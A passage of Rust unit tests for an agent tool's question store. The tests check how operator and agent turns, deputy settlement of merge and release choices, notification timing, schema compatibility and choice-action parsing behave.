3546        s.drop_panel(&q.id).unwrap();
3547        assert!(s.panel_html(&q.id).is_none());
3548        assert!(!s.panel_dir(&q.id).exists());
3549        s.drop_panel(&q.id)
3550            .expect("dropping a panel that is already gone is the desired state");
3551    }
3552
3553    #[test]
3554    fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3555        let (_dir, s) = store();
3556        let mut q = panelled();
3557        s.put(&mut q).unwrap();
3558
3559        assert!(!q.panel);
3560        assert!(s.panel_html(&q.id).is_none());
3561        assert!(
3562            s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3563            "a missing file is a 404 for the caller, not a failure of the store"
3564        );
3565        let json = serde_json::to_value(&q).unwrap();
3566        assert_eq!(json["panel"], false);
3567        assert_eq!(json["assets"], serde_json::json!([]));
3568
3569        // And an empty panel is refused, because an empty frame reads to the
3570        // owner as "the agent had nothing to say".
3571        let e = s.put_panel(&mut q, "  \n", &[]).unwrap_err().to_string();
3572        assert!(e.contains("empty panel"), "{e}");
3573        assert!(!s.panel_dir(&q.id).exists());
3574    }
3575
3576    #[test]
3577    fn a_question_written_before_panels_existed_still_deserialises() {
3578        let (_dir, s) = store();
3579        std::fs::create_dir_all(s.root()).unwrap();
3580        let id = "20260902-231501-ab12";
3581        // Byte for byte what an older magi wrote: no `panel`, no `assets`.
3582        let body = r#"{
3583  "schema": 1,
3584  "id": "20260902-231501-ab12",
3585  "run": "20260902-201256-9fb7",
3586  "node": "implement",
3587  "seat": "impl-A",
3588  "summary": "Which storage backend should the cache use?",
3589  "detail": "Both are already dependencies.",
3590  "choices": ["SQLite", "Redis"],
3591  "status": "open",
3592  "asked_at": "2026-09-02T23:15:01Z",
3593  "answered_at": null,
3594  "answer": null
3595}"#;
3596        std::fs::write(s.path_of(id), body).unwrap();
3597
3598        let q = s.get(id).unwrap();
3599        assert!(
3600            !q.panel,
3601            "an absent field means no panel, not a parse error"
3602        );
3603        assert!(q.assets.is_empty());
3604        // Schema 1 predates `thread` entirely - not merely predates it having
3605        // any turns - and this build now speaks schema 3. Reading it must not
3606        // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
3607        // accepted and the missing field defaults to no conversation yet.
3608        assert_eq!(q.schema, 1);
3609        assert!(q.thread.is_empty());
3610        assert_eq!(
3611            q.answer_timeout, 0,
3612            "an absent field means unrecorded, not a zero-second deadline"
3613        );
3614        assert!(!q.waiting_on_agent());
3615        assert_eq!(q.summary, "Which storage backend should the cache use?");
3616        assert_eq!(
3617            s.list().len(),
3618            1,
3619            "and it is still listed; skipping it would hide an open question"
3620        );
3621    }
3622
3623    fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3624        Turn {
3625            who,
3626            body: body.to_owned(),
3627            at,
3628            note: None,
3629        }
3630    }
3631
3632    #[test]
3633    fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3634        // The phone reads this shape by hand, same as the question itself: a
3635        // rename here is a card that silently drops every message in it.
3636        let mut q = choice_question();
3637        q.thread
3638            .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3639        let value = serde_json::to_value(&q.thread[0]).unwrap();
3640        let mut keys: Vec<&str> = value
3641            .as_object()
3642            .unwrap()
3643            .keys()
3644            .map(String::as_str)
3645            .collect();
3646        keys.sort_unstable();
3647        assert_eq!(keys, ["at", "body", "who"]);
3648        assert_eq!(value["who"], "operator");
3649        assert_eq!(value["body"], "why not Postgres?");
3650
3651        let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3652        let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3653        assert_eq!(parsed.who, Who::Agent);
3654    }
3655
3656    fn approval_question() -> Question {
3657        let mut q = Question::new(
3658            "run".into(),
3659            crate::land::APPROVAL_NODE.into(),
3660            "land".into(),
3661            "Merge?".into(),
3662            String::new(),
3663            vec!["merge".into(), "hold".into()],
3664        );
3665        let mut dep = Deputy::new("brief".into());
3666        dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3667        q.deputy = Some(dep);
3668        q
3669    }
3670
3671    #[test]
3672    fn a_deputy_settles_merge_and_recovery_on_the_owners_words_without_a_quote() {
3673        let target = || crate::merge_decision::Target {
3674            pr: "PR 42".into(),
3675            head: "abc".into(),
3676            language: "en".into(),
3677        };
3678        // A merge among other requests: the deputy's reading is the authority.
3679        let mut q = approval_question();
3680        q.merge_target = Some(target());
3681        q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3682            .unwrap();
3683        q.settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3684            .unwrap();
3685        assert_eq!(q.resolution().as_deref(), Some(crate::land::APPROVE));
3686        assert_eq!(q.merge_target, Some(target()), "the merge stays head-bound");
3687        // Recovery and stop choices need no exact token either.
3688        for choice in [
3689            crate::land::HOLD,
3690            crate::land::REPAIR,
3691            crate::merge_decision::WITHDRAW,
3692            "reimplement:beta",
3693        ] {
3694            let mut q = approval_question();
3695            q.choices = vec![crate::land::APPROVE.into(), choice.into()];
3696            q.merge_target = Some(target());
3697            q.say("ちょっと待って、そっちでお願い").unwrap();
3698            q.settle_by_deputy("deputy-x", choice, Some("owner chose this"))
3699                .unwrap();
3700            assert_eq!(q.resolution().as_deref(), Some(choice));
3701        }
3702        // A local release approval settles the same way.
3703        let mut release = Question::new(
3704            String::new(),
3705            crate::bump::NOTICE_NODE.into(),
3706            "release-watch".into(),
3707            "Release?".into(),
3708            String::new(),
3709            vec![crate::land::APPROVE.into(), crate::land::HOLD.into()],
3710        );
3711        release.deputy = approval_question().deputy;
3712        release.say("リリースしていいよ").unwrap();
3713        release
3714            .settle_by_deputy("deputy-x", crate::land::APPROVE, None)
3715            .unwrap();
3716        assert_eq!(release.resolution().as_deref(), Some(crate::land::APPROVE));
3717    }
3718
3719    #[test]
3720    fn a_deputy_settles_posting_and_destructive_choices_without_a_quote() {
3721        use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3722        for choice in [POST_ORIGINAL, USE_REWRITE] {
3723            let mut q = Question::new(
3724                "run".into(),
3725                ASK_NODE.into(),
3726                ASK_SEAT.into(),
3727                "s".into(),
3728                String::new(),
3729                vec![USE_FALLBACK.into(), choice.into()],
3730            );
3731            q.deputy = approval_question().deputy;
3732            q.say("それでいいよ、投稿して").unwrap();
3733            q.settle_by_deputy("deputy-x", choice, None).unwrap();
3734            assert_eq!(q.resolution().as_deref(), Some(choice));
3735        }
3736        let mut discard = approval_question();
3737        discard.node = "recovery".into();
3738        discard.choices.push("discard".into());
3739        discard.actions.insert("discard".into(), ChoiceAction::Done);
3740        discard.say("おっけーそれぞれ回答してー").unwrap();
3741        discard
3742            .settle_by_deputy("deputy-x", "discard", None)
3743            .unwrap();
3744        assert_eq!(discard.chosen_action(), Some(&ChoiceAction::Done));
3745    }
3746
3747    #[test]
3748    fn hold_may_carry_the_hold_effect_but_no_other_action() {
3749        let mut q = choice_question();
3750        q.choices = vec![crate::land::HOLD.into(), "finish".into()];
3751        q.actions
3752            .insert(crate::land::HOLD.into(), ChoiceAction::Hold);
3753        q.clone()
3754            .answer(Answer::Choice(crate::land::HOLD.into()))
3755            .unwrap();
3756        q.actions
3757            .insert(crate::land::HOLD.into(), ChoiceAction::Done);
3758        assert!(q.answer(Answer::Choice(crate::land::HOLD.into())).is_err());
3759    }
3760
3761    fn settle_ready() -> Question {
3762        let mut q = Question::new(
3763            "task".to_owned(),
3764            "conduct".to_owned(),
3765            "conduct".to_owned(),
3766            "Done?".to_owned(),
3767            String::new(),
3768            vec!["yes".to_owned(), "no".to_owned()],
3769        );
3770        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3771        seat.turns = 1;
3772        let mut dep = Deputy::new("brief".to_owned());
3773        dep.seat = Some(seat);
3774        q.deputy = Some(dep);
3775        q.say("setup done, and file a follow-up").unwrap();
3776        q
3777    }
3778
3779    #[test]
3780    fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3781        let dir = tempfile::TempDir::new().unwrap();
3782        let store = Questions::at(dir.path().join("questions"));
3783        let mut q = settle_ready();
3784        let id = q.id.clone();
3785        store.put(&mut q).unwrap();
3786        store
3787            .update(&id, |q| {
3788                q.settle_by_deputy("deputy-x", "yes", Some("  no follow-up was queued  "))
3789            })
3790            .unwrap();
3791        let back = store.get(&id).unwrap();
3792        let turn = back.thread.last().unwrap();
3793        assert_eq!(turn.who, Who::Agent);
3794        assert!(turn.body.starts_with("Settled as `yes`"));
3795        assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3796        assert_eq!(back.thread[0].note, None);
3797    }
3798
3799    #[test]
3800    fn an_empty_or_blank_settle_note_is_no_note() {
3801        for note in [None, Some(""), Some("  \n ")] {
3802            let mut q = settle_ready();
3803            q.settle_by_deputy("deputy-x", "yes", note).unwrap();
3804            assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3805            let json = serde_json::to_string(&q).unwrap();
3806            assert!(!json.contains("\"note\""), "no key when there is none");
3807        }
3808    }
3809
3810    #[test]
3811    fn a_refused_settle_leaves_no_note_behind() {
3812        let mut q = settle_ready();
3813        let before = q.thread.clone();
3814        assert!(q.settle_by_deputy("deputy-x", "maybe", Some("n")).is_err());
3815        assert!(
3816            q.settle_by_deputy("someone-else", "yes", Some("n"))
3817                .is_err()
3818        );
3819        assert_eq!(q.thread, before);
3820        assert_eq!(q.status, QuestionStatus::Open);
3821    }
3822
3823    #[test]
3824    fn a_turn_written_before_notes_existed_still_reads() {
3825        let t: Turn =
3826            serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3827                .unwrap();
3828        assert_eq!(t.note, None);
3829    }
3830
3831    #[test]
3832    fn a_deputy_settles_only_its_own_open_question_on_an_offered_choice() {
3833        let mut q = Question::new(
3834            "task".to_owned(),
3835            "conduct".to_owned(),
3836            "conduct".to_owned(),
3837            "Done?".to_owned(),
3838            String::new(),
3839            vec!["yes".to_owned(), "no".to_owned()],
3840        );
3841        let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3842        seat.turns = 1;
3843        let mut dep = Deputy::new("brief".to_owned());
3844        dep.seat = Some(seat);
3845        q.deputy = Some(dep);
3846        q.say("setup done, go ahead").unwrap();
3847
3848        assert!(q.settle_by_deputy("someone-else", "yes", None).is_err());
3849        assert!(q.settle_by_deputy("deputy-x", "maybe", None).is_err());
3850        let mut routed = q.clone();
3851        routed.routed_task = Some("task".into());
3852        assert!(
3853            routed.settle_by_deputy("deputy-x", "yes", None).is_err(),
3854            "a routed decision belongs to the task chat"
3855        );
3856        assert_eq!(q.status, QuestionStatus::Open);
3857
3858        q.settle_by_deputy("deputy-x", "yes", None).unwrap();
3859        assert_eq!(q.status, QuestionStatus::Answered);
3860        assert_eq!(q.resolution().as_deref(), Some("yes"));
3861        let last = q.thread.last().unwrap();
3862        assert_eq!(last.who, Who::Agent);
3863        assert!(last.body.starts_with("Settled as `yes`"));
3864        let turns = q.thread.len();
3865        assert!(
3866            q.settle_by_deputy("deputy-x", "no", None).is_err(),
3867            "a settled question is not settled twice"
3868        );
3869        assert_eq!(q.thread.len(), turns);
3870    }
3871
3872    #[test]
3873    fn old_answer_evidence_still_loads_and_survives_a_re_save() {
3874        let q = choice_question();
3875        let mut v = serde_json::to_value(&q).unwrap();
3876        v["answer_authority"] = serde_json::json!({
3877            "talk": "talk", "turn": 0, "message": 0,
3878            "instruction": "id: use my text fp\nA title",
3879            "instruction_fingerprint": "f", "recommendation_turn": null,
3880            "recommendation_fingerprint": null, "question": q.id, "choice": "SQLite",
3881            "question_fingerprint": "g", "recovery_interpretation": "r"
3882        });
3883        let back: Question = serde_json::from_value(v).unwrap();
3884        let legacy = back.answer_authority.as_ref().unwrap();
3885        assert_eq!(legacy.question, q.id);
3886        assert_eq!(legacy.instruction, "id: use my text fp\nA title");
3887        // A re-save keeps what an old pending `use my text` answer needs, and
3888        // nothing else of the old evidence.
3889        let written = serde_json::to_value(&back).unwrap();
3890        assert_eq!(
3891            written["answer_authority"],
3892            serde_json::json!({
3893                "question": q.id, "choice": "SQLite",
3894                "instruction": "id: use my text fp\nA title"
3895            })
3896        );
3897        let again: Question = serde_json::from_value(written).unwrap();
3898        assert_eq!(again.answer_authority, back.answer_authority);
3899        assert!(
3900            serde_json::to_value(&q)
3901                .unwrap()
3902                .get("answer_authority")
3903                .is_none()
3904        );
3905    }
3906
3907    #[test]
3908    fn a_question_written_before_deputies_still_reads() {
3909        let mut q = Question::new(
3910            "task".to_owned(),
3911            "conduct".to_owned(),
3912            "conduct".to_owned(),
3913            "Done?".to_owned(),
3914            String::new(),
3915            Vec::new(),
3916        );
3917        q.schema = 4;
3918        let mut v = serde_json::to_value(&q).unwrap();
3919        v.as_object_mut().unwrap().remove("deputy");
3920        let back: Question = serde_json::from_value(v).unwrap();
3921        assert!(back.deputy.is_none());
3922    }
3923
3924    #[test]
3925    fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3926        let mut q = choice_question();
3927        q.say("does the cache need eviction?").unwrap();
3928        assert_eq!(q.thread.len(), 1);
3929        assert_eq!(q.thread[0].who, Who::Operator);
3930        assert_eq!(q.thread[0].body, "does the cache need eviction?");
3931        // Speaking is not deciding: the status and the answer are untouched,
3932        // which is the whole point of the round trip existing at all.
3933        assert_eq!(q.status, QuestionStatus::Open);
3934        assert!(q.answer.is_none());
3935        assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3936    }
3937
3938    #[test]
3939    fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3940        let mut answered = choice_question();
3941        answered
3942            .answer(Answer::Choice("SQLite".to_owned()))
3943            .unwrap();
3944        let a = answered.say("still there?").unwrap_err().to_string();
3945        assert!(a.contains("already answered"), "{a}");
3946        let b = answered
3947            .reply("still there?", vec![])
3948            .unwrap_err()
3949            .to_string();
3950        assert!(b.contains("already answered"), "{b}");
3951
3952        let mut abandoned = choice_question();
3953        abandoned.abandon("timed out");
3954        let c = abandoned.say("hello?").unwrap_err().to_string();
3955        assert!(c.contains("abandoned"), "{c}");
3956
3957        let mut open = choice_question();
3958        let d = open.say("   ").unwrap_err().to_string();
3959        assert!(d.contains("empty"), "{d}");
3960        let e = open.reply("  \n", vec![]).unwrap_err().to_string();
3961        assert!(e.contains("empty"), "{e}");
3962        assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3963    }
3964
3965    #[test]
3966    fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3967        let mut q = choice_question();
3968        q.say("SQLite or Redis, but what about disk space?")
3969            .unwrap();
3970        assert!(q.waiting_on_agent());
3971
3972        q.reply(
3973            "SQLite: it is one file, no server to run.",
3974            vec!["SQLite".to_owned()],
3975        )
3976        .unwrap();
3977
3978        assert_eq!(q.choices, ["SQLite"]);
3979        assert!(
3980            !q.waiting_on_agent(),
3981            "the agent spoke, so the owner is the one being waited on now"
3982        );
3983        assert_eq!(q.thread.len(), 2);
3984        assert_eq!(q.thread[1].who, Who::Agent);
3985
3986        // The new choice set is what a subsequent answer is checked against.
3987        assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3988        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3989        assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3990    }
3991
3992    #[test]
3993    fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3994        let mut fresh = choice_question();
3995        assert!(
3996            fresh.should_notify(Timestamp::now()),
3997            "nobody has been notified yet, so the first ask always pages"
3998        );
3999
4000        fresh.say("why not Postgres?").unwrap();
4001        let just_said = fresh.thread[0].at;
4002        assert!(
4003            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
4004            "still on the screen a minute later; no need to page again"
4005        );
4006        assert!(
4007            !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
4008            "exactly the window: `>` means this side stays quiet"
4009        );
4010        assert!(
4011            fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
4012            "past the window: they may have walked away"
4013        );
4014    }
4015
4016    #[test]
4017    fn a_round_trip_of_turns_still_counts_as_one_open_question() {
4018        let (_dir, s) = store();
4019        let mut q = choice_question();
4020        s.put(&mut q).unwrap();
4021        q.say("why not Postgres?").unwrap();
4022        s.put(&mut q).unwrap();
4023        q.reply("no server to run", vec!["SQLite".to_owned()])
4024            .unwrap();
4025        s.put(&mut q).unwrap();
4026
4027        assert_eq!(
4028            s.count_open(),
4029            1,
4030            "one question that talked twice is still one open question"
4031        );
4032        assert_eq!(s.open_for(&q.run).len(), 1);
4033    }
4034
4035    #[tokio::test]
4036    async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
4037        let (dir, s) = store();
4038        let mut q = choice_question();
4039        let id = q.id.clone();
4040        let writer = Questions::at(dir.path().join("questions"));
4041        let handle = tokio::spawn(async move {
4042            tokio::time::sleep(Duration::from_millis(30)).await;
4043            let mut fresh = writer.get(&id).expect("the question was filed first");
4044            fresh.say("why not Postgres?").unwrap();
4045            writer.put(&mut fresh).unwrap();
4046        });
4047
4048        let got = wait_for_owner(
4049            &mut q,
4050            &s,
4051            &quiet(),
4052            Duration::from_secs(5),
4053            Duration::from_millis(10),
4054        )
4055        .await
4056        .unwrap();
4057
4058        handle.await.unwrap();
4059        assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
4060        assert_eq!(
4061            q.status,
4062            QuestionStatus::Open,
4063            "talking back is not a decision; the question stays open"
4064        );
4065        assert!(q.answer.is_none());
4066    }
4067
4068    #[test]
4069    fn a_say_that_lands_before_the_agents_reply_stays_unread() {
4070        let mut q = choice_question();
4071        q.say("A").unwrap();
4072        q.delivered_turns = q.thread.len();
4073        q.say("B").unwrap();
4074        q.reply("about A", vec![]).unwrap();
4075        assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
4076        q.delivered_turns = q.thread.len();
4077        assert_eq!(q.unread_from_owner(), None);
4078    }
4079
4080    #[test]
4081    fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
4082        let (_d, s) = store();
4083        let mut q = choice_question();
4084        s.put(&mut q).unwrap();
4085        q.say("first").unwrap();
4086        q.say("second").unwrap();
4087        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4088        s.put(&mut q).unwrap();
4089        assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
4090        let mut out = Vec::new();
4091        deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
4092        let shown = String::from_utf8(out).unwrap();
4093        let (a, b, c) = (
4094            shown.find("first").unwrap(),
4095            shown.find("second").unwrap(),
4096            shown.find("SQLite").unwrap(),
4097        );
4098        assert!(a < b && b < c, "{shown}");
4099        assert_eq!(q.delivered_turns, q.thread.len());
4100        assert!(q.answer_delivered);
4101    }
4102
4103    #[test]
4104    fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
4105        let mut q = choice_question();
4106        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4107        assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
4108        let mut q = choice_question();
4109        q.say("old").unwrap();
4110        q.delivered_turns = q.thread.len();
4111        q.say("new").unwrap();
4112        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4113        let shown = answer_for_agent(&q, "SQLite");
4114        assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
4115    }
4116
4117    #[test]
4118    fn reply_guidance_distinguishes_resume_actions_and_display_annotations() {
4119        let mut q = choice_question();
4120        q.choices = vec!["daemon: resume".into(), "daemon: hold".into()];
4121        q.actions.insert(
4122            q.choices[0].clone(),
4123            ChoiceAction::ResumeRun {
4124                run: "run-a".into(),
4125            },
4126        );
4127        q.actions.insert(q.choices[1].clone(), ChoiceAction::Hold);
4128        assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4129        assert!(q.reply_guidance().contains("accepted aliases: keep-held"));
4130        assert!(
4131            q.resolve_reply("resume-run")
4132                .unwrap_err()
4133                .to_string()
4134                .contains("with offered choices")
4135        );
4136        assert_eq!(q.resolve_reply("daemon: resume").unwrap(), "daemon: resume");
4137        assert!(
4138            q.resolve_reply("daemon: resume [resume run run-a]")
4139                .is_err()
4140        );
4141        q.actions.insert(
4142            q.choices[0].clone(),
4143            ChoiceAction::Resume {
4144                run: "run-a".into(),
4145            },
4146        );
4147        assert!(q.reply_guidance().contains("accepted aliases: resume-run"));
4148        q.choices.push("another resume".into());
4149        q.actions.insert(
4150            "another resume".into(),
4151            ChoiceAction::Resume {
4152                run: "run-b".into(),
4153            },
4154        );
4155        assert!(!q.reply_guidance().contains("accepted aliases: resume-run"));
4156    }
4157
4158    #[test]
4159    fn recovery_aliases_require_a_unique_offered_structured_effect() {
4160        let mut q = choice_question();
4161        q.choices = vec!["daemon: 再開A".into(), "daemon: 再開B".into()];
4162        for (label, run) in [("daemon: 再開A", "run-a"), ("daemon: 再開B", "run-b")] {
4163            q.actions
4164                .insert(label.into(), ChoiceAction::Resume { run: run.into() });
4165        }
4166        assert!(
4167            q.resolve_reply("再開")
4168                .unwrap_err()
4169                .to_string()
4170                .contains("ambiguous")
4171        );
4172        assert_eq!(q.resolve_reply("resume:run-a").unwrap(), "daemon: 再開A");
4173        q.choices.remove(1);
4174        assert_eq!(q.resolve_reply("実行再開").unwrap(), "daemon: 再開A");
4175        assert!(q.resolve_reply("resume run-b").is_err());
4176        assert!(q.resolve_reply("保留").is_err());
4177        assert!(!ChoiceAction::Requeue.matches_alias("再キュー"));
4178        assert!(!ChoiceAction::Done.matches_alias("完了"));
4179    }
4180
4181    #[test]
4182    fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
4183        let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
4184        let ok = parse_actions(
4185            &[
4186                "resume で続行する=resume".to_owned(),
4187                "wait=done".to_owned(),
4188            ],
4189            &choices,
4190            "run-1",
4191        )
4192        .unwrap();
4193        assert_eq!(
4194            ok["resume で続行する"],
4195            ChoiceAction::Resume {
4196                run: "run-1".into()
4197            }
4198        );
4199        assert_eq!(ok["wait"], ChoiceAction::Done);
4200
4201        let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
4202        assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
4203        assert_eq!(
4204            ChoiceAction::parse("x=requeue", "").unwrap().1,
4205            ChoiceAction::Requeue
4206        );
4207
4208        assert_eq!(
4209            ChoiceAction::parse("x=hold", "").unwrap().1,
4210            ChoiceAction::Hold
4211        );
4212
4213        for bad in [
4214            "no-equals",
4215            "=done",
4216            "x=resume",
4217            "x=resume:",
4218            "x=explode",
4219            "x=done:1",
4220        ] {
4221            assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
4222        }
4223        assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
4224        assert!(
4225            parse_actions(
4226                &["wait=done".to_owned(), "wait=requeue".to_owned()],
4227                &choices,
4228                ""
4229            )
4230            .is_err()
4231        );
4232    }
4233
4234    #[test]
4235    fn only_a_chosen_label_with_an_action_is_actionable() {
4236        let mut q = choice_question();
4237        q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
4238        q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
4239        assert!(q.chosen_action().is_none(), "unanswered");
4240        q.answer(Answer::Choice("resume".to_owned())).unwrap();
4241        assert!(
4242            q.chosen_action().is_none(),
4243            "a label that merely reads like an action does nothing"
4244        );
4245
4246        let mut q2 = choice_question();
4247        q2.choices = vec!["SQLite".to_owned()];
4248        q2.actions
4249            .insert("SQLite".to_owned(), ChoiceAction::Requeue);
4250        q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
4251        assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
4252    }
4253
4254    #[test]
4255    fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
4256        let mut q = choice_question();
4257        q.choices = vec!["A".to_owned(), "B".to_owned()];
4258        q.actions.insert("A".to_owned(), ChoiceAction::Done);
4259        q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
4260        q.reply("narrowing", vec!["B".to_owned()]).unwrap();
4261        assert_eq!(q.actions.len(), 1);
4262        assert!(q.actions.contains_key("B"));
4263
4264        let mut v = serde_json::to_value(&q).unwrap();
4265        v.as_object_mut().unwrap().remove("actions");
4266        let old: Question = serde_json::from_value(v).unwrap();
4267        assert!(old.actions.is_empty());
4268    }
4269}